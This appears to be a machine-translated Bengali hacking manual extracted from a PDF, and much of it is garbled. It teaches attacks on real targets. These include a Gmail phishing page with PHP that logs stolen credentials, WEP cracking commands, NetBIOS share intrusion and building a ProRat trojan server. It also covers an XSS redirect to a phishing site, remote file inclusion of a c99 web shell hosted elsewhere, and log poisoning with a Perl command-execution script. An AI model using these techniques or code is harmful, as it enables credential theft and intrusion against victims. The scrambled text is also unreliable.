Hacking book

1
P1n1x_Cr3w | www.facebook.com/p1n1x.cr3w
Machine Translated by Google

2
।
।
--P1n1X
www.facebook.com/p1n1x.cr3w
।
।
।
।
ায়শই িজ ািসত ( ায়শই িজ ািসত )
,,
।
।
।
।
।

Gr33Tz:
-
(Evil$oul,b3du33n,CDH,rex0,Pp,Thunder,K.bal0k,Xen0n,w4nt3d এবং আমার ব ু 3xp1r3)
3

-
-
।
?
.
.
.
?
.
.
.
.
.
?
.
..
?
.
।
.
4

-
-
-
.
.
দুবলতা
.
.ডি উইিপ
(আরএফআই)
(এ এসএস)
.
.
.
.
.
.
.NETBIOS
(LFI)
5
.
.
.

(
(
।
.
।
-
।
।
।
-
।
।
)
।
)
/
-
,
?
(
।
।
।
-
)
।
6

।
।
।
।
।
.
।
।
।
-
।
-
-
।
।
।
,
।
?
7

।
.
...
.
.
।
.
.
।
।
।
.
.
?
দুবলতা
।
।
,
।
,
?
,
।
।
।
,
।
,
http://www.w3schools.com
.
এইচ এমএল
।
8

!
।
।
।
।
!
।
.
?
।
।
,
।
...>>>++>>>........>
.
!
9

।
।
(
(
।
-)
-
(
।
-
)
-
।
।
,
.
।
।
?
,
,
।
)
-
-
10

।
-
।
।
,
(
।
(
-
।
,
,
,
.
।
-
।
,
,
),
http://distrowatch.com
)
,
)
.
বুট
,
-
।
িসিড/িডিভিড
।
-
,
।
।
,
।
।
11

য়ংি য় চালু
উিব
.ISO
.
—উিব
।
।
.http://www.ubuntu.com/download/ubuntu/download
—উিব
:
2.
wubi.exe
উিব
।
12

িভতের ইন ল ক ন
.
।
।
13

14
. ।

15
।
।
.
িরবুট ক ন
।
।
.
.

16
নতন
http://www.virtualbox.org/wiki/downloads
)
ভাচয়ালব
।
।
ভাচয়ালব (
।
.
ম াক
।
.
।

17
।
.পরবত

18
. ।

।
যাম
,
/
/
।
.
যাম
।যাম
19

.পরবত ।
20

এইচিডিড
ি র
,
।
গিতশীল
ি র
আকােরর িচ ।
.
গিতশীল ইেমজ
21

. ।
22

শষ ক ন ।
.
23

পরবত
.
.
.ISO ।
!!!
24

।
িসিড/িডিভিড রম
।
.
25

.ISO
িসিড/িডিভিড মাউ ক ন ।
26

।
িনবাচন ক ন
.
27

।
, ক ন
.
28

।
।
. উবু চ া ক ন
29

।
!
• http://www.linux.com/
।
।
http://www.mediafire.com/?9fm2wbw2c28aeed
।
।
• http://beginlinux.org/
http://www.mediafire.com/?ru90ink6val
,
• http://www.linux-tutorial.info/
http://www.mediafire.com/?tnmnh1viyi2
30

• http://www.vtc.com/products/Ubuntu-Linux-tutorials.htm
• http://www.vtc.com/products/Ubuntu-Linux-tutorials.htm
।
।
31

।
#
আই
।
# শা ার সািফং- শা ার সািফং
।
" ...
।
।
।
।
-
।
।
?"
#আ াজ-
,
,
,
।
.
।
আই
,
:
।
।
32

।
#অিভধান আ মণ -
,
।
।
127.0.0.1 ।
,
।
।
টাস
http://
.
/
উ যুি
।
,
,
।
।
.
,
।
কম যুি
।
।
://127.0.0.1
।
।
।
,
।
।
,
।
। টাস
আইিপ
পপ আপ
FTP://
33

.
• জন দ িরপার http://www.openwall.com/john/
টাস
;
• http://www.oxid.it/cain.html
।
34

।
.
।
.
.
,
http://packetstormsecurity.org/Crackers/wordlists/
।
।
।
• সালারউই স http://www.solarwinds.com/
.
।
।
• THC হাই া http://freeworld.thc.org/thc-hydra/
।
।
।
• RainbowCrack http://www.antsight.com/zsl/rainbowcrack/
35

।
।
।
- পাসওয়াড
- অ াডিমন
।
36

। ।
। টাস
।
।
37

।
।
।127.0.0.1
38

।
।
।
।
।
।
।
-
।
।
39

।
। ।
।
ছাট হােতর আলফা
40

হটেমইল, িজেমইল, ইয়া ।
।
।
।
।
।
,
.
সংর ণ
।
।
।
41

42
িহসােব…
File -> Save এ ি ক ক ন
।সংর ণ
িপএইচিপ
<CTR> +
সংর ণ
।
অনুিলিপ
।
।
।
এস
প
index.htm
।
।
সংর ণ
মািজলা ফায়ারফ
ServiceLogin.htm
।
সংর ণ
"লগইন িবশদ" দাকান
http://www.gmail.com/
সূচক
"সাইন ইন ক ন"

লখার ফাইল
list.txt।
। phish.php।
/*
}
"list.txt"
.*/
");
fwrite($hle, $variable); fwrite($hle,
fwrite($hle, $value); fwrite($hle, “rn”);
"list.txt"
?>
$variable => $value)
{
/*
িপএইচিপ া াম।
ান
Foreach($_GET
/*
।
*/
"list.txt"
/*
$hle = fopen("list.txt", "a");
"=");
।
।
<?php হডার("অব ান: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http %3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml% 26zy%3Dl&bsv=1k96igf4806cy&ltmpl=defa ult&ltmplcache=2
িহসােব
।
*/
।
//
Fwrite($hle, “rn”);
সংেযাগ
Fclose($hle);
43

44
।
"পরবত খুঁেজ"
,
।
কম
।
।
,
স াদনা-> খুঁজুন
.
.
।
.<CTR> + F

45
ফম
।
িবনামূেল ওেয়বেহা
"কম" ঘটনা
িপএইচিপ িফশ
CHMOD
।
।
।
.
/
http://www.yourwebhosturl.com/youraccount/list.txt
জমা
।
" পা "
"তািলকা txt"
।
।
.
list.txt
কম=
।
জমা
গল
প িত = "পান"
আপেলাড
।
পুনিনেদশ
""
"পাওয়া"
.সংর ণ
,
সাইন ইন ক ন
"ফম আইিড"
.GET প িত
ব
.
।
।
.
phish.php
।
URL
িপএইচিপ সমথন
লগ
।
ফাইেলর অনুমিত "list.txt" 777
।

46
সামািজক
-
।
সামািজক েকৗশলী
শা ার সািফং-
।
।
সামািজক েকৗশলী-
েকৗশল

47
,
।
নৃশংস শি র আ মণ
।
।
িফিশং-
অিভধান আ মণ
নৃশংস শি র আ মণ
অনুমান ক ন
অিভধান
অনুমান করা-
।
,-
।

48
।
-
http://www.selfseo.com/find_ip_address_of_a_website.php
।
সামািজক েকৗশলী
ইউআরএল
।
িপং http://just
.
ping.com
।
।
।
'
নাম
।
আ মণ
.
।
ই- মইল
.
িপং

49
। ই- মইল, কানা,
িনিদ শ
ক
।
সাচ ইি ন
. http://whois.domaintools.com
"সাইট:www.the-target-site.com"
গল
সাভার
নাম, যখন ডােমন তির করা হেয়িছল, যখন ডােমেনর ময়াদ শষ হয়, ডােমন নাম
.
।

50
।
টােগট ব কানা
ত
"সাইট:www.the-target-site.com ইেমল"
:
।
/
।
।
"
।
শা ান
।
"inurl:robots.txt"
http://nmap.org/download.html
ই ারেফস)
।
,
।
দুবলতা
।
" াফাইল:"
।
জনম াপ
।
।
robots.txt
Nmap GUI( ািফকাল ব বহারকারী
িসএলআই
.
"
.স ূণ সং রণ ান

51
.
।
22 SSH (িনরাপদ শল)
।
পাট/পিরেষবা
20 FTP ডটা (ফাইল া ফার ােটাকল)
।
21 FTP (ফাইল া ফার ােটাকল)
23 টলেনট
......
43 whois
খালা পাট
25 SMTP ( মল ানা র ােটাকল পাঠান)
.

52
80 HTTP (হাইপারেট ট া ফার ােটাকল)
138 NetBIos-dgm
443 SSL (িসিকউর সেকট লয়ার)
1433 Microsoft SQL সাভার
137 NetBIos-ns
1352 লাটাস নাট
143 IMAP (ই ারেনট বাতা অ াে স ােটাকল)
2049 NFS ( নটওয়াক ফাইল িসে ম)
1521 ওরাকল এসিকউএল
139 NetBIos
4000 ICQ
220 IMAP3 (ই ারেনট বাতা অ াে স ােটাকল 3)
68 DHCP (ডাইনািমক হা কে াল ােটাকল)
161 SNMP (সাধারণ নটওয়াক ম ােনজেম ােটাকল)
53 DNS ( ডােমন নম সািভস)
194 IRC (ই ারেনট িরেল চ াট)
3306 MYSQL
110 POP3 ( পা অিফস ােটাকল, সং রণ 3)
445 SMB (TCP এর উপর NetBIos)

53
।
,
CLI Nmap
5800 VNC
Nmap
।
।
।
,
"ব ানার দখল"
.
,
।
.
5900 VNC
,
404
।
404
http://nmap.org/book/man.html
দুবলতা
"www.targetsite.com/almadarifjanata.php"
।
।
(অপাের ং িসে ম)
404
।
.
8080 HTTP
।
।
।
কা ম 404
।

54
।
* া াম এবং বিশ
,
িভ া
ম াক
*
।
-> িলখুন)।
ক আেছ ি ক ক ন।
=
ল ান
,
!
টলেনট
।
*
* বঁাক
।
টািমনাল
।
।
।
-
*
( -> চালান -> "cmd"
।
* টলেনট ােয়ে ি ক ক ন
nmap
বিশ চালু বা ব ।
.

( ) ()
.
।
খালা
।
ব ানার
।
সংেযাগ ক ন
।
টলেনট
/ কানা
টলেনট www.targetsite.com 21
55

56
।
।
* দুবলতা
দুবলতা
।
দুবলতা
।
।
।
দুবলতা
দুবলতা
*িনরাপ া ফাকাস
Nmap স ূণ সং রণ সনা করণ
=
* দুবলতা
।
।
।
"0-িদন"
দুবলতা
*ওএসিভিডিব
প াচ
।
*1337 িদন
"0-িদন" দুবলতা
*
।
।

57
।
সাভার
িন
"0-িদন"
টােগট সাভার
।
আ মণ
টােগট
।
।
সমীকরণ
দূিষত কাড
-
-
।
হ াকার + 0-িদন + কা ািন সাভার = খারাপ খ ািত = অেথর িত
ডস আ মণ
িবওএফ
িডনায়াল-অফ-সািভস (ডস)-
।
1337 িদন
।
দুবলতা
।
কাড
-
...
ডস আ মণ
।
।
?
।
বাফার ওভারে া (BoF)-
।
দূিষত কাড
।

58
?>
-
?
।
<?php
।
।
-
এমএএমিপ।
'
1337িদন
http://www.1337day.com/exploits/6238
- 1337 িদন
0.9.20
.ম াক
।
WAMP
$address = gethostbyname('192.168.1.3');
-
সংর ণ
ডস
"exploit.php"
।
,
.
'
।
।

59
C:wampbinphpphp5.2.5
িপএইচিপ িডের ির
।
িডের ির
।
"php exploit.php"
$junk.=”../../../sun-tzu/../../../sun-tzu/../../../sun-tzu”;
সংর ণ
।
.
WAMP
।
.
িপএইচিপ এি িকউেটবল
।
।
।
িসিড (পিরবতন িডের ির)
.
।
।
-

60
কনিফগােরশন ।
ডস আ মণ
।
।
.
।
।
।
,www.google.com ।
।
।
।
কিমউিন ফারাম
।
ডস আ মণ

61
জয়
"!/usr/bin/perl"
আ মণ
পাল
http://www.1337day.com/exploits/6613
পিরেষবা অ ীকার (Dos)
পাল
দুবলতা
.
.
.পাইথন
।
িসএমিড ওেপন
।
...
পাইথন া ািমং ভাষা ।
http://www.python.org/
downloads
"exploit.pl"
"exploit.py"।".py" পাইথন
পাল
2.3.0।
।
.
.মু া
.ডস
.পাইথন
।
"exploit.pl"
িডের ির
পাল
.
।
।
পাইথন
।
।
ActivePerl
।
সংর ণ
!!
িসিড (পিরবতন িডের ির)
"perl exploit.pl"
পাইথন
1337 িদন

62
।
বতার কাড/অ াডা ার
ম াক া লার।
•
।
িকসেমত।
।
।
•
।
িকসম াক।
বতার
.
।
নট লার।ম াক
তার িবহীন যাগােযাগ
ওয় ারেলস অ াে স পেয়
নটওয়াক
বতার
।
. নট লার
. ান
য়ংি য় ান
িনরাপদ
-
বতার অ াে স পেয়

63
।
সংেকত _
MAC কানা
.

64
• WAP (ওয়ারেলস অ াি েকশন ােটাকল) - WAP
.অ জাল
WEP
NetStumbler
নটওয়াক।WEP
ব াক াক
এআরিপ অনুেরাধ
• WEP (তারযু সমতল গাপনীয়তা) - WEP
বল
।
.
• এয়ারডা – ওয় ারেলস রাউটার
ািকং
।
WAP াক
ব াক াক
বতার অ াডা ার
.
• িকসেমত -
সংখ া, এনি পশন কার
.পাশিবক বল
-
িনরাপদ বতার
.
ব াক াক
টলস
প ােকট ক াপচার
WEP কী াক
।ম াক কানা, চ ােনল
।
ব াক াক
• এয়ারে -
জাড়া লাগােনা
অিভধান আ মণ পাশিবক
।
-
ওয় ারেলস নটওয়াক িডেট র
।
।
।
।
-
লাইভ িসিড
।

65
অ াডা ার
।
।
• এয়ার াক - WEP কী
িকসেমট
তীর িচ
চ ােনল ন র
।
Y=WEP N=OPEN 0=OTHER(সাধারণত WAP)।
.এে স পেয়
.bssid, essid
.িকসেমত
।
নটওয়াক স চার
।
।
িকসেমট
িকসেমত
ওয় ারেলস অ াকেসস পেয়
মিনটর মাড
।
এে স পেয়
বতার অ াডা ার
জাড়া লাগােনা
নাম (essid), ম াক কানা (bssid)
।
,
<এ ার>।
......
ath0।
Iwconfig
.
পাঠ নিথ
Y/N/0
চ ােনল ন র প

66
।
.
তথ
।
।
আ মণ
[য ]
িডভাইেসর নাম
।
.-1
.
।
কানা
airodump-ng -c [চ ােনল#] -w [ফাইেলর নাম] --bssid [bssid]
#MAC কানা
aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [িডভাইস]
-
।
অ াে স পেয়
।aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [িডভাইস]
প ােকট ইনেজকশন ।-b MAC
পাহাইরা
-গ
।
--bssid
0
কার
50k-500k প ােকট ।
aircrack-ng -a 1 -b [bssid] -n 128 [ফাইেলর নাম].ivs
.
এয়ারডা
।
।
এে স পেয় .
চািব
অ াডা ার িডভাইস
আউটপুট
জাল প ােকট
জাল মাণীকরণ
প ােকট WEP
ওয় ারেলস অ াডা ার MAC কানা । বতার
-3
এয়ারডা
এয়ারডা -এনিজ চ ােনল
।
ডটা আউটপুট
-w
এয়ারে -এনিজ া াম।
আ মণ
অ াে স পেয়
WEP কী

-n 128 WEP কী দঘ
।-b MAC কানা
ওয় ারশাক ।প ােকট
।
.
প ােকট
।
।
: ব বহারকারীর নাম, পাসওয়াড, IM
প ােকট ি ফার
WEP কী
।
পাহাইরা 2
-ক 1
sniffing
মাড,
া াম WEPattack
।
।
কেথাপকথন, এবং ই- মইল।
www.wireshark.org
।
প ােকট ঁ কেছ
তারিবহীন যাগােযাগ
67

।
প ােকট
"msnms"
উইে াজ লাইভ
.
।
।
।
প ােকট
।
উইে াজ লাইভ
প ােকট
প ােকট ক াপচার
ওয় ারশাক
.
.
68

।
পাসওয়াড
ল ান
,,
. ব বহারকারীর নাম
WAN
http://www.snort.org/
. ।
ি িফং
http://www.monkey.org/~dugsong/dsniff/
।
।
.
.
http://monkey.org/%7Edugsong/dsniff/
।
।
এনি করা
-
......
৬৯

IP ানার http://www.mediafire.com/?nyyuaydw9gi
।
।
রাগ
..
..
..
হঁ া
8 ক আেছ
।
.
।
।
http://www.cmyip.com/
70

". ক ন "
..
71

.“nbtstat – এক টােগটআইিপ কানা”
.Start > Run >cmd><ENTER>
।
।
।
,
72

শয়ারডডকস।
।
<20>
।
।
।
.“ নট িভউ TargetIPaddress”
.SharedDocs
ডিভড- মিশন
, ।
.<20>
,
<20>
..
।
73

জ :।
। ???
।
.
.
।
।
।
।
।
।
.“ নট ব বহার G: TargetIPaddressDriveName "
“ নট ব বহার G:192.168.1.101SharedDocs”।G://
,
িজ
জ
।
74

,
।
???
।
।
এলএম (ল ান ম ােনজার)
।
.Ophcrack http://ophcrack.sourceforge.net/
।
।
।
,
,
..
এসএএম
।
।
#C:WINDOWSsystem32config
#
#Ophcrack PWDUMP
ওফ াক
# HKEY_LOCAL_MACHINESAM
,,
,
।
।
75

76
।
।
।
।
।

77

78
ophcrack
।
।
।
ক আেছ
।

79
ানীয় SAM
। ।
। বাঝা
PWDUMP
।
।
।

80
।
.
।
।
• ডিভড এম: পাওয়া যায়িন
ফাটল
• পুশিকন: ি সমাস02
• বব: lolcats
।
-

81
. .ISO
-
.
ophcrack
।
.
ওফ াক
-
।
.ophcrack ওেয়বসাইট http://ophcrack.sourceforge.net/download.php?type=livecd
িলনা অধ ায়।

82
Ophcrack ািফক VESA মাড
।
,
।
ািফক মােড েবশ ক ন
।
Ophcrack ট ট মাড
.অফ াক

83
।
।
।
।
।
# ফাইল এবং ি ার শয়ািরং
# াট -> কে াল প ােনল -> নটওয়াক সংেযাগ
।
ক আেছ
।
ওয় ারেলস নটওয়াক সংেযাগ 2।
ওফ াক
#
পা া ব ব া
।
.NetBios
# বিশ

84

85

86
-
।
,
।
,
।
,
,,
।
,
।
-
।
।
।
- -
.
,
।
।
,
ম াক
,
.
।
,
।
.
।
।
।
।
.-
।

।
. ।
।
ProRat
।
িমি ত মিক-
.
।
।
.
।
! ProRat সাভার তির ক ন
।
www.mediafire.com/?b1x1anfjxmx
www.mediafire.com/?b1x1anfjxmx
87

৮৮
।
আইিপ
.
।
www.cmyip.com
সাভার পাট, সাভার পাসওয়াড
আইিপ
িশকার
নাম ।
.
সাধারণ স ংস

৮৯
।
।
.txt ।
।
ফাইল িদেয় আব ক ন

90
।
সাভার আইকন
.
।

91
সাভার আইকন ।

92
।
.
।
।
.
সাভার তির ক ন
।
.
।
।

93
।
. ,

94
।
. ।

95
।
.

96
।
।
।
.
।
#
।
আ েনর াচীর
#
lmfaoooooooooo
।
।

97
,
ওেয়বসাইট
দুবলতা শাষণ
2.0
(এ এসএস)
অ- ায়ী–অ- ায়ী আ মণ
।
এফিবআই, িসএনএন, ইেব, অ াপল, মাইে াসফট, এওএল
।
।
,
• ম ব
।
আ মণ
আ মণ
যাগােযাগ
স সাইট ি ি ং (XSS)
• সাচ ইি ন
।
।
কি উটার ওয়াম, ামবট, ইন ল ক ন
• অিবরাম আ মণ
।
দুবল
ানীয়- ানীয় XSS আ মণ
িবষয়ব
@XSS আ মণ
XSS আ মণ
।
ব বহারকারীেদর
XSS আ মণ
।
• লগইন ফম
াউজার
আ মণ

98
অিবরাম আ মণ
দুবল?
) "ওেহ"
আ মণ
।
অরি ত।
।
।
।
।<script>সতকতা("হাই");</script>
URL
।
•
।
।
।
সাইট XSS
।
•
অনুস ান
মাগত - অিবরাম আ মণ
স সাইট ি ি ং
এইচ এমএল
জাভাি
অিতিথ বই, ফারাম, িচৎকার ব
•
<h1>হাই</h1>,
অনুস ান ক ন
আ মণ
,
।
অরি ত।
URL
,
।
।
দুবল
(
"ওেহ"

99
কু িকজ
XSS দুবলতা
।URL ? searchbox=
অিবরাম।
XSS কৃ িম
দুবল
URL
।
জাভাি অনুস ান বা
িফিশং
জাভাি কাড
মাগত
।
।
উ ত XSS আ মণ
িত াপন
জাভাি িপএইচিপ
www.victim-site.com
।
।
xss
।
গ বুক
।
।
&অনুস ান
।

100
এনেকাড
।
URL
site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21
ion+%3D+%5C%22http%3A%2F%2Fিফিশং
এনেকাড
।
।
সমা িল
।
<script>window.location = “http://phishing-site.com”</script>
http://www.encodeurl.com
ইউআরএল
http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locat

101
অ াে স
দুবলতা
।
(আরএফআই)
অনুমিত_ইউআরএল_ ফােপন
http://target-site.com/index.php?page=http://google.com
c99 আর57।
শল
।
অরি ত।
।
।
সাভার সাইড কমা এি িকউট
আরএফআই
register_globals
http://target-site.com/index.php?page=PageName
।
।
।
িরেমাট সাভার
অ ভ ক ন
। ।
আরএফআই ঝু ঁিকপূণ।
িপএইচিপ () ফাংশন
গল
গল ডক
।
িপএইচিপ 6.0
আরএফআই
অ ভ
শল
অ ভ
register_globals
দুবল
দুবল
দুবল
আপেলাড
।
িপএইচিপ িডফ স ংস
গল ডক
।
।
পৃ ার নাম
শল অ ভ
আপেলাড

102
শল পাস
"c99.txt.php"
গল ডক
অ ভ
?
।
গল
http://target-site.com/index.php?page=http://shellsite.com/c99.txt?
।
।
শল
।
URL শল
allinurl:.php?page=
ঝু ঁিকপূণ সাইট
।
অনুস ান
।
inurl:c99.txt
নাল বাইট (%00)
RFI দুবল
।
।URL
সাভার িপএইচিপ ি .php
।
আরএফআই দুবল
c99.txt
।
।
1337 িদন
c99.txt
।
শল
গল ডক
অ ভ
php?page= URL
।

103
িডের ির
।
শল, পাস
শল িরেমাট
।
। পদা
তািলকা

104
চালান
।
।
মূল িবেশষািধকার ।
php.ini
মূল িবেশষািধকার
register_globals িনি য়
।
আপ-ট- ডট ি
।
আরএফআই আ মণ

105
/etc/passwd াউজ ক ন
।
আরএফআই
/etc/passwd
sync:x:5:0:sync:/sbin:/bin/sync
।
www.target-site.com/index.php?p= ../../../../../../../etc/passwd
halt:x:7:0:halt:/sbin:/sbin/halt
দুবল
bin:x:1:1:bin:/bin:/bin/false
দুবল
Root:x:0:0::/root:/bin/bash
adm:x:3:4:adm:/var/log:/bin/false
িডের ির া ভাসাল
site.com/index.php?p=about
।
ডমন:x:2:2: ডমন:/sbin:/bin/false
lp:x:4:7:lp:/var/sool/lpd:/bin/false
(LFI)
www.target
• এলএফআই
িডের ির া ভাসাল
শাটডাউন:x:6:0:শাটডাউন:/sbin:/sbin/শাটডাউন
/etc/passwd

106
।
/etc/ছায়া ফাইল
../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../var/www/logs/access_log
।
../apache/logs/error.log
../../../../../../../etc/httpd/logs/error.log
।
../../apache/logs/access.log
ইনেজকশন
../../apache/logs/error.log
../../../apache/logs/access.log
username:passwd:UserID:GroupID:full_name:directory:shell
িডের ির
।
../../../apache/logs/error.log
../../../../../../../etc/httpd/logs/acces_log
।
িবতরণ
।
../../../../../../../etc/httpd/logs/error_log
ফাটল

107
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/access_log
../../../../../../../var/log/error_log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/apache2/error.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../var/www/logs/error.log
../../../../../../../var/log/access.log
../../../../../../../var/log/error.log
../../../../../../../var/www/logs/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/log/apache/access_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../usr/local/apache/logs/access.log

।
php
।
এলএফআই
।
5.
।
,
.
।
।
URL
।
।
.
শল অ াে স
।
।
<? পাস ($_GET['cmd']) ?>
%3C?%20পাস ($_GET[cmd])%20?%3E
।URL =
4.
।
.
।
$site="www.vulnerablesite.com"; $path="/"; $code="<? পাস ($_GET[cmd])
ইনেজকশন িদেত কাড";
IO::সেকট ব বহার ক ন; LWP::UserAgent ব বহার ক ন;
$লগ
#!/usr/bin/perl -w
= “../../../../../../../etc/httpd/logs/error_log”; ি “ চ া করিছ
?>"; 108
$লগ
$সাইট, $পাথ, $ কাড,

ব ($সেকট); ি “nেকাড $ কাড সফলভােব ইনেজ করা হেয়েছ
!~
}
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80")
"nসংেযাগ ব থ হেয়েছ।
nn";
$log এ
মারা
{
{
ি $সেকট " হা : ".$ সাইট।
"rn";
exit end: to
run or
ি $সেকট "সংেযাগ: ব rnn";
মারা
";
$সেকট ি ক ন "GET ".$path.$code." HTTP/1.1rn”;
ি “nকমা টাইপ ক ন
n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80")
"nসংেযাগ ব থ হেয়েছ।
nn";
ি $সেকট " হা : ".$ সাইট।
"rn";
ি “টাইপ কমা $cmd
= <STDIN>;
বা
" ান")
ি $show;
ি $সেকট "সংেযাগ: ব rnrn";
$cmd = <STDIN>; যখন ($cmd
যখন ($show = <$socket>)
exit end: to
run or
";
ি $সেকট " ীকার ক ন: */*rn";
ি $সেকট “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1rn”;
}
ি $সেকট "ইউজার-এেজ : ".$ কাড।
"rn";
বা
.
R00T অ াে স ।
109

িসএমএস।
<=
।
িডএনএন ডটেনটনুেক এএসিপ
দুবল
িডএনএন
।
।
।
সহনীয় ।
দুবল
অরি ত।
ডটেনটনুেক
inurl:"/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"
দুবল
inurl:"/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"
110

ফাইল (আপনার সাইেট এক ফাইল)
ফাইল (আপনার সাইেট এক ফাইল
javascript:__doPostBack('ctlURL$cmdUpload','')
javascript:__doPostBack('ctlURL$cmdUpload','')
111
।

112
।
িলিপ াউজ ক ন ।
আপেলাড ক ন
িলিপ

113
(swf)
াউজ ক ন
আপেলাড,।
target.net
অ ািনেমশন
।
।
http://www.mediafire.com/?mntuomzigmy
http://www.Target.net/portals/0/test.swf
।
Jpg, Gif, swf
test.swf
।
/portals/0/ আপেলাড ক ন

114
-
/++,,,
(অলস)
।
।
-
।
,,
।
।
।
।
-
।

Hacking book

Recommended

Recommended

More Related Content

Featured

Featured (20)

Hacking book